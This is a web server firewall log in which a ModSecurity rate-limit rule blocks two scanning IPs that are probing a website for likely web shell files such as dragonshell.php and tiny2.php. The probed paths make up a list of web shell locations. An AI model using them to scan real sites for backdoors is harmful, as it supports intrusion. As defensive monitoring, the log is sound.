[Thu Apr 23 23:14:33.626870 2026] [:error] [pid 65000:tid 65032] [client 40.113.52.123:53888] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeo3Wb6vRb9j6psK2ZbTgAAAAgM"]
[Thu Apr 23 23:14:35.382473 2026] [:error] [pid 65000:tid 65051] [client 40.113.52.123:42886] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "aeo3W76vRb9j6psK2ZbTkAAAAhI"]
[Thu Apr 23 23:14:36.838469 2026] [:error] [pid 59700:tid 59712] [client 40.113.52.123:38691] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeo3XJXyGZJFeAIDWtlAcQAAAUo"]
[Thu Apr 23 23:14:41.335195 2026] [:error] [pid 64998:tid 65005] [client 40.113.52.123:44500] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeo3YYV5EysYcTLjmwiyLgAAAcM"]
[Thu Apr 23 23:14:43.805439 2026] [:error] [pid 64998:tid 65023] [client 40.113.52.123:42728] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeo3Y4V5EysYcTLjmwiyMQAAAdU"]
[Thu Apr 23 23:14:45.157557 2026] [:error] [pid 43083:tid 43108] [client 40.113.52.123:1819] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeo3ZTC5hrvNXosL83KJqwAAANc"]
[Thu Apr 23 23:14:46.904166 2026] [:error] [pid 25635:tid 25648] [client 40.113.52.123:42953] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeo3ZsRxv6UsgRGKB3I9bgAAAQk"]
[Thu Apr 23 23:14:48.960846 2026] [:error] [pid 43083:tid 43090] [client 40.113.52.123:42716] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeo3aDC5hrvNXosL83KJsgAAAMU"]
[Thu Apr 23 23:14:50.807663 2026] [:error] [pid 25635:tid 25639] [client 40.113.52.123:38701] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeo3asRxv6UsgRGKB3I9cgAAAQA"]
[Thu Apr 23 23:14:52.534299 2026] [:error] [pid 65000:tid 65056] [client 40.113.52.123:48160] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeo3bL6vRb9j6psK2ZbTsQAAAhc"]
[Thu Apr 23 23:14:54.834843 2026] [:error] [pid 64967:tid 64985] [client 40.113.52.123:1207] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gz.php"] [unique_id "aeo3boAV4GfOOdX8QzqCEAAAAZA"]
[Thu Apr 23 23:15:07.815276 2026] [:error] [pid 64967:tid 64992] [client 40.113.52.123:42710] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aeo3e4AV4GfOOdX8QzqCHwAAAZc"]
[Thu Apr 23 23:15:09.861641 2026] [:error] [pid 42972:tid 43025] [client 40.113.52.123:48722] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aeo3fcOAb-3sOknsk4dlWgAAAEk"]
[Thu Apr 23 23:15:11.124597 2026] [:error] [pid 64998:tid 65025] [client 40.113.52.123:1160] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aeo3f4V5EysYcTLjmwiySQAAAdc"]
[Thu Apr 23 23:15:12.376396 2026] [:error] [pid 42972:tid 43028] [client 40.113.52.123:56542] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aeo3gMOAb-3sOknsk4dlXgAAAEw"]
[Thu Apr 23 23:15:13.973482 2026] [:error] [pid 42971:tid 42997] [client 40.113.52.123:46171] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeo3gTEP2_5RswrH8bE3_wAAAAs"]
[Thu Apr 23 23:15:15.701113 2026] [:error] [pid 65000:tid 65056] [client 40.113.52.123:1157] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeo3g76vRb9j6psK2ZbTygAAAhc"]
[Thu Apr 23 23:15:16.738082 2026] [:error] [pid 65000:tid 65052] [client 40.113.52.123:60561] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeo3hL6vRb9j6psK2ZbT0AAAAhM"]
[Thu Apr 23 23:15:17.943859 2026] [:error] [pid 65000:tid 65042] [client 40.113.52.123:1190] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeo3hb6vRb9j6psK2ZbT1AAAAgk"]
[Thu Apr 23 23:39:17.157784 2026] [:error] [pid 65000:tid 65029] [client 74.234.74.247:9348] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "aeo9Jb6vRb9j6psK2ZbhJQAAAgA"]
[Thu Apr 23 23:39:17.662543 2026] [:error] [pid 42971:tid 42988] [client 74.234.74.247:9434] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "aeo9JTEP2_5RswrH8bE6tAAAAAI"]
[Thu Apr 23 23:39:18.240251 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:9449] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "aeo9Jr6vRb9j6psK2ZbhLAAAAhQ"]
[Thu Apr 23 23:39:18.812287 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:9467] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "aeo9Jr6vRb9j6psK2ZbhLwAAAhA"]
[Thu Apr 23 23:39:19.367903 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:9347] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aeo9J76vRb9j6psK2ZbhMwAAAhI"]
[Thu Apr 23 23:39:19.918968 2026] [:error] [pid 42972:tid 43023] [client 74.234.74.247:9437] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aeo9J8OAb-3sOknsk4duSQAAAEc"]
[Thu Apr 23 23:39:20.517524 2026] [:error] [pid 46953:tid 46956] [client 74.234.74.247:9414] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aeo9KEnlpdHh-P6wKbpStAAAAkA"]
[Thu Apr 23 23:39:21.069229 2026] [:error] [pid 42972:tid 43017] [client 74.234.74.247:9359] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aeo9KcOAb-3sOknsk4duTAAAAEE"]
[Thu Apr 23 23:39:21.597872 2026] [:error] [pid 42972:tid 43040] [client 74.234.74.247:9345] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "aeo9KcOAb-3sOknsk4duTQAAAFg"]
[Thu Apr 23 23:39:22.151853 2026] [:error] [pid 64998:tid 65015] [client 74.234.74.247:9460] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "aeo9KoV5EysYcTLjmwi_UAAAAc0"]
[Thu Apr 23 23:39:22.693127 2026] [:error] [pid 64998:tid 65024] [client 74.234.74.247:9360] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "aeo9KoV5EysYcTLjmwi_UgAAAdY"]
[Thu Apr 23 23:39:23.228485 2026] [:error] [pid 59700:tid 59703] [client 74.234.74.247:9422] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "aeo9K5XyGZJFeAIDWtlFxQAAAUE"]
[Thu Apr 23 23:39:24.780938 2026] [:error] [pid 42973:tid 43063] [client 74.234.74.247:9374] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/one.php"] [unique_id "aeo9LG6I0QqmmmLTHE1DPwAAAJQ"]
[Thu Apr 23 23:39:25.329342 2026] [:error] [pid 65000:tid 65037] [client 74.234.74.247:9455] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/one.php"] [unique_id "aeo9Lb6vRb9j6psK2ZbhPQAAAgQ"]
[Thu Apr 23 23:39:26.904882 2026] [:error] [pid 64998:tid 65002] [client 74.234.74.247:9415] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/one.php"] [unique_id "aeo9LoV5EysYcTLjmwi_XQAAAcA"]
[Thu Apr 23 23:39:27.440872 2026] [:error] [pid 59700:tid 59726] [client 74.234.74.247:9413] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/one.php"] [unique_id "aeo9L5XyGZJFeAIDWtlFyAAAAVg"]
[Thu Apr 23 23:39:28.627070 2026] [:error] [pid 64998:tid 65009] [client 74.234.74.247:9353] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aeo9MIV5EysYcTLjmwi_YQAAAcc"]
[Thu Apr 23 23:39:29.156567 2026] [:error] [pid 64998:tid 65005] [client 74.234.74.247:4032] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aeo9MYV5EysYcTLjmwi_YgAAAcM"]
[Thu Apr 23 23:39:29.689266 2026] [:error] [pid 42972:tid 43022] [client 74.234.74.247:9412] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aeo9McOAb-3sOknsk4duWgAAAEY"]
[Thu Apr 23 23:39:30.245133 2026] [:error] [pid 42971:tid 43006] [client 74.234.74.247:9414] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aeo9MjEP2_5RswrH8bE6uAAAABQ"]
[Thu Apr 23 23:39:30.772883 2026] [:error] [pid 64998:tid 65006] [client 74.234.74.247:9430] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dragonshell.php"] [unique_id "aeo9MoV5EysYcTLjmwi_ZQAAAcQ"]
[Thu Apr 23 23:39:31.295333 2026] [:error] [pid 46953:tid 46966] [client 74.234.74.247:9459] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dragonshell.php"] [unique_id "aeo9M0nlpdHh-P6wKbpStwAAAko"]
[Thu Apr 23 23:39:31.797888 2026] [:error] [pid 43083:tid 43092] [client 74.234.74.247:9426] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dragonshell.php"] [unique_id "aeo9MzC5hrvNXosL83KM8wAAAMc"]
[Thu Apr 23 23:39:32.457397 2026] [:error] [pid 46953:tid 46965] [client 74.234.74.247:9463] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dragonshell.php"] [unique_id "aeo9NEnlpdHh-P6wKbpSugAAAkk"]
[Thu Apr 23 23:39:32.977251 2026] [:error] [pid 64998:tid 65005] [client 74.234.74.247:9423] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no20.php"] [unique_id "aeo9NIV5EysYcTLjmwi_awAAAcM"]
[Thu Apr 23 23:39:33.539977 2026] [:error] [pid 25635:tid 25663] [client 74.234.74.247:9469] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no20.php"] [unique_id "aeo9NcRxv6UsgRGKB3I_nAAAARg"]
[Thu Apr 23 23:39:34.052688 2026] [:error] [pid 25635:tid 25656] [client 74.234.74.247:9358] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no20.php"] [unique_id "aeo9NsRxv6UsgRGKB3I_oQAAARE"]
[Thu Apr 23 23:39:35.141320 2026] [:error] [pid 42971:tid 42991] [client 74.234.74.247:9451] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/no20.php"] [unique_id "aeo9NzEP2_5RswrH8bE6vQAAAAU"]
[Thu Apr 23 23:39:35.697993 2026] [:error] [pid 42973:tid 43043] [client 74.234.74.247:9417] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-alone.php"] [unique_id "aeo9N26I0QqmmmLTHE1DSQAAAIA"]
[Thu Apr 23 23:39:36.274620 2026] [:error] [pid 43083:tid 43085] [client 74.234.74.247:4047] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-alone.php"] [unique_id "aeo9ODC5hrvNXosL83KM-wAAAMA"]
[Thu Apr 23 23:39:36.797099 2026] [:error] [pid 42972:tid 43020] [client 74.234.74.247:9371] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-alone.php"] [unique_id "aeo9OMOAb-3sOknsk4duYQAAAEQ"]
[Thu Apr 23 23:39:37.321916 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:9375] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-alone.php"] [unique_id "aeo9OYV5EysYcTLjmwi_bQAAAdI"]
[Thu Apr 23 23:39:37.852851 2026] [:error] [pid 64967:tid 64977] [client 74.234.74.247:9443] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yasnu.php"] [unique_id "aeo9OYAV4GfOOdX8QzqE5wAAAYg"]
[Thu Apr 23 23:39:38.359735 2026] [:error] [pid 42972:tid 43038] [client 74.234.74.247:9367] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yasnu.php"] [unique_id "aeo9OsOAb-3sOknsk4duZAAAAFY"]
[Thu Apr 23 23:39:38.890525 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:9461] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yasnu.php"] [unique_id "aeo9Or6vRb9j6psK2ZbhWgAAAhE"]
[Thu Apr 23 23:39:39.486323 2026] [:error] [pid 64967:tid 64991] [client 74.234.74.247:9435] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yasnu.php"] [unique_id "aeo9O4AV4GfOOdX8QzqE6AAAAZY"]
